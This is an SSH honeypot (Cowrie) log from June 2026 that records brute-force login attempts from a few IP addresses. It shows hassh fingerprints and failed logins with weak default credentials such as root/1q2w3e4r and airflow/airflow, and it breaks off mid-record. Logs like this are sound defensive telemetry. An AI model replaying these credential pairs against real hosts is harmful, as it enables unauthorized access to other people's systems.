{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:58:34.841345Z","src_ip":"192.109.200.78","session":"4e00de8fcb80","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:58:35.043644Z","src_ip":"192.109.200.78","session":"4e00de8fcb80","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"!Q2w3e4r","message":"login attempt [deploy/!Q2w3e4r] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:58:35.313334Z","src_ip":"192.109.200.78","session":"4e00de8fcb80","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:58:36.397136Z","src_ip":"192.109.200.78","session":"4e00de8fcb80","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":54510,"dst_ip":"10.17.0.5","dst_port":22,"session":"a87a1ac6bb8b","protocol":"ssh","message":"New connection: 192.109.200.78:54510 (10.17.0.5:22) [session: a87a1ac6bb8b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:58:38.440803Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:58:38.444362Z","src_ip":"192.109.200.78","session":"a87a1ac6bb8b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:58:38.525958Z","src_ip":"192.109.200.78","session":"a87a1ac6bb8b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"airflow","password":"airflow","message":"login attempt [airflow/airflow] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:58:38.770025Z","src_ip":"192.109.200.78","session":"a87a1ac6bb8b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:58:39.856404Z","src_ip":"192.109.200.78","session":"a87a1ac6bb8b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":57702,"dst_ip":"10.17.0.5","dst_port":22,"session":"28bc95a63711","protocol":"ssh","message":"New connection: 192.109.200.78:57702 (10.17.0.5:22) [session: 28bc95a63711]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:58:41.872644Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:58:41.876451Z","src_ip":"192.109.200.78","session":"28bc95a63711","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:58:41.985616Z","src_ip":"192.109.200.78","session":"28bc95a63711","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"master","password":"qwerty","message":"login attempt [master/qwerty] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:58:42.382712Z","src_ip":"192.109.200.78","session":"28bc95a63711","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:58:43.466868Z","src_ip":"192.109.200.78","session":"28bc95a63711","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":57704,"dst_ip":"10.17.0.5","dst_port":22,"session":"f180bf03394f","protocol":"ssh","message":"New connection: 192.109.200.78:57704 (10.17.0.5:22) [session: f180bf03394f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:58:45.444328Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:58:45.447729Z","src_ip":"192.109.200.78","session":"f180bf03394f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:58:45.533072Z","src_ip":"192.109.200.78","session":"f180bf03394f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1q2w3e4r","message":"login attempt [root/1q2w3e4r] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:58:45.776960Z","src_ip":"192.109.200.78","session":"f180bf03394f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:58:46.860603Z","src_ip":"192.109.200.78","session":"f180bf03394f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":57714,"dst_ip":"10.17.0.5","dst_port":22,"session":"471a42279a42","protocol":"ssh","message":"New connection: 192.109.200.78:57714 (10.17.0.5:22) [session: 471a42279a42]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:58:49.201829Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:58:49.229767Z","src_ip":"192.109.200.78","session":"471a42279a42","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:58:49.290647Z","src_ip":"192.109.200.78","session":"471a42279a42","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"testuser","password":"123321","message":"login attempt [testuser/123321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:58:49.601581Z","src_ip":"192.109.200.78","session":"471a42279a42","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:58:50.685217Z","src_ip":"192.109.200.78","session":"471a42279a42","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":37050,"dst_ip":"10.17.0.5","dst_port":22,"session":"7feb79de7b24","protocol":"ssh","message":"New connection: 192.109.200.78:37050 (10.17.0.5:22) [session: 7feb79de7b24]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:58:52.842798Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:58:52.847019Z","src_ip":"192.109.200.78","session":"7feb79de7b24","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:58:52.935602Z","src_ip":"192.109.200.78","session":"7feb79de7b24","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"www","password":"www","message":"login attempt [www/www] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:58:53.405671Z","src_ip":"192.109.200.78","session":"7feb79de7b24","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:58:54.489422Z","src_ip":"192.109.200.78","session":"7feb79de7b24","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.207.4.157","src_port":43514,"dst_ip":"159.203.135.109","dst_port":22,"session":"b91979052c4e","protocol":"ssh","message":"New connection: 92.207.4.157:43514 (159.203.135.109:22) [session: b91979052c4e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:58:55.053729Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:58:55.057838Z","src_ip":"92.207.4.157","session":"b91979052c4e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:58:55.153226Z","src_ip":"92.207.4.157","session":"b91979052c4e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Zxcvbnm1","message":"login attempt [root/Zxcvbnm1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:58:55.572395Z","src_ip":"92.207.4.157","session":"b91979052c4e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":37054,"dst_ip":"10.17.0.5","dst_port":22,"session":"f051210a7db9","protocol":"ssh","message":"New connection: 192.109.200.78:37054 (10.17.0.5:22) [session: f051210a7db9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:58:56.548977Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:58:56.553092Z","src_ip":"192.109.200.78","session":"f051210a7db9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:58:56.696235Z","src_ip":"192.109.200.78","session":"f051210a7db9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:58:56.715844Z","src_ip":"92.207.4.157","session":"b91979052c4e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deployer","password":"12345678","message":"login attempt [deployer/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:58:56.941545Z","src_ip":"192.109.200.78","session":"f051210a7db9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:58:58.025490Z","src_ip":"192.109.200.78","session":"f051210a7db9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":37064,"dst_ip":"10.17.0.5","dst_port":22,"session":"f5683304638e","protocol":"ssh","message":"New connection: 192.109.200.78:37064 (10.17.0.5:22) [session: f5683304638e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:59:00.034106Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:59:00.044960Z","src_ip":"192.109.200.78","session":"f5683304638e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh